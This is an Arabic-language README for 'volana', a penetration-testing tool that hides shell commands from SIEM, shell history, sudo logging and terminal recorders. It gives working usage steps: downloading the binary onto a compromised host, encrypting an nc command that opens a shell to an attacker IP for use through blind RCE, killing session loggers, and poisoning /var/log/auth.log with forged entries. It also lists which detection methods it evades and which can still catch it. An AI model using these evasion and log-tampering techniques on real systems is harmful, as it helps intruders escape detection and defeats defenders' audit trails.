volana

volana _{(القمر في الملغاشية)}

root@kitploit:~

{ استخدمه ; 🌚(الاختباء من); 🌞(يمكن اكتشافه بواسطة) } 

إخفاء أوامر الصدفة لتجنب أنظمة كشف الاختراق (SIEM)

أثناء اختبار الاختراق، أحد الجوانب المهمة هو الاختفاء. لهذا السبب يجب عليك مسح آثارك بعد مرورك. ومع ذلك، تقوم العديد من البنى التحتية بتسجيل الأوامر وإرسالها إلى نظام SIEM في الوقت الفعلي مما يجعل عملية التنظيف اللاحقة وحدها غير مجدية.

volana توفر طريقة بسيطة لإخفاء الأوامر المنفذة على الجهاز المخترق من خلال توفير بيئة تشغيل خاصة بها (أدخل أمرك، ينفذه volana نيابة عنك). بهذه الطريقة يمكنك مسح آثارك أثناء مرورك

الاستخدام

تحتاج إلى الحصول على شل تفاعلي. (ابحث عن طريقة لتشغيله، أنت هاكر، هذه مهمتك! وإلا). ثم قم بتنزيله على الجهاز الهدف وشغله. هذا كل شيء، الآن يمكنك كتابة الأمر الذي تريد تنفيذه بشكل متخفي.

## قم بتنزيله من إصدارات GitHub
## إذا لم يكن لديك اتصال بالإنترنت من الجهاز المخترق، ابحث عن طريقة أخرى
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## قم بتنفيذه
./volana

## أنت الآن تحت الرادار
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1  #you are allowed to be a bit cocky
volana » [command]

كلمات مفتاحية لوحدة تحكم volana:

• ring: تفعيل وضع الرنين، أي يتم إطلاق كل أمر مع العديد من الأوامر الأخرى لتغطية الآثار (من الحلول التي تراقب استدعاءات النظام)
• exit: الخروج من وحدة تحكم volana

من شل غير تفاعلي

تخيل أن لديك شل غير تفاعلي (webshell أو rce أعمى)، يمكنك استخدام الأمرين الفرعيين encrypt و decrypt. مسبقًا، تحتاج إلى بناء volana بمفتاح تشفير مدمج.

على جهاز المهاجم

## بناء volana بمفتاح تشفير
make build.volana-with-encryption

## نقله إلى الهدف (الأمر الوحيد القابل للكشف)
## [...]

## تشفير الأمر الذي تريد تنفيذه بشكل متخفي
## (هنا nc bindshell للحصول على شل تفاعلي)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

انسخ الأمر المشفر ونفذه باستخدام rce الخاص بك على الجهاز الهدف

./volana decr [encrypted_command]
## الآن لديك bindshell، قم بتشغيله لجعله تفاعليًا واستخدم volana كالمعتاد لتكون متخفيًا (./volana). + لا تنس إزالة ملف volana الثنائي قبل المغادرة (لأن مفتاح فك التشفير يمكن استرجاعه منه بسهولة)

لماذا لا نكتفي بإخفاء الأمر باستخدام echo [command] | base64 ؟ وفك التشفير على الهدف بـ echo [encoded_command] | base64 -d | bash

لأننا نريد الحماية من الأنظمة التي تطلق إنذارًا لاستخدام base64 أو التي تبحث عن نص base64 في الأوامر. كما نريد جعل التحقيق صعبًا، وbase64 ليس عائقًا حقيقيًا.

الكشف

ضع في اعتبارك أن volana ليس معجزة ستجعلك غير مرئي تمامًا. هدفه هو جعل اكتشاف الاختراق والتحقيق أكثر صعوبة.

نعني بـ "يمكن اكتشافه" إذا كنا قادرين على إطلاق إنذار عند تنفيذ أمر معين.

الاختباء من

فقط سطر الأمر الخاص بتشغيل volana سيتم التقاطه. 🧠 ومع ذلك، بإضافة مسافة قبل تنفيذه، السلوك الافتراضي لـ bash هو عدم حفظه.

• أنظمة الكشف التي تعتمد على مخرجات أمر history
• أنظمة الكشف التي تعتمد على ملفات history
  • .bash_history، ".zsh_history" إلخ..
• أنظمة الكشف التي تعتمد على مصائد تصحيح bash (debug traps)
• أنظمة الكشف التي تعتمد على نظام تسجيل sudo المدمج
• أنظمة الكشف التي تتعقب جميع استدعاءات النظام عبر العملية بأكملها (مثل opensnoop)
• مسجلات الطرفية (tty) (script، screen -L، sexonthebash، ovh-ttyrec، إلخ..)
  • سهولة الكشف والتجنب: pkill -9 script
  • ليس حالة شائعة
  • screen أصعب قليلاً في التجنب، لكنه لا يسجل الإدخال (إدخال سري: stty -echo => تجنب)
  • يمكن تجنب كشف الأوامر باستخدام volana مع التشفير.

يمكن اكتشافه بواسطة

• أنظمة الكشف التي تطلق إنذارًا للأوامر غير المعروفة (أمر volana)
• أنظمة الكشف التي تعتمد على مسجلات لوحة المفاتيح (keylogger)
  • سهولة التجنب: نسخ/لصق الأوامر
  • ليس حالة شائعة
• أنظمة الكشف التي تعتمد على ملفات syslog (مثل /var/log/auth.log)
  • فقط لأوامر sudo أو su
  • يمكن تعديل ملف syslog وبالتالي تسميمه كما تشاء (مثال لـ /var/log/auth.log: logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
• أنظمة الكشف التي تعتمد على استدعاءات النظام (مثل auditd, LKML/eBPF)
  • صعبة التحليل، يمكن جعلها غير قابلة للقراءة عن طريق إجراء عدة استدعاءات تحويلية
• حقن LD_PRELOAD مخصص لتسجيل الدخول
  • ليس حالة شائعة على الإطلاق

مكافأة الأخطاء (Bug bounty)

عذرًا على العنوان المضلل، لكن لن يتم تقديم أي أموال للمساهمين. 🐛

أخبرني إذا وجدت:

• طريقة لكشف volana
• طريقة للتجسس على وحدة التحكم لا تكتشف أوامر volana
• طريقة لتجنب نظام كشف

أبلغ هنا

الشكر

• 8 طرق للتجسس على وحدة التحكم
• moonwalk: أداة مشابهة تقوم بمسح الآثار بعد المرور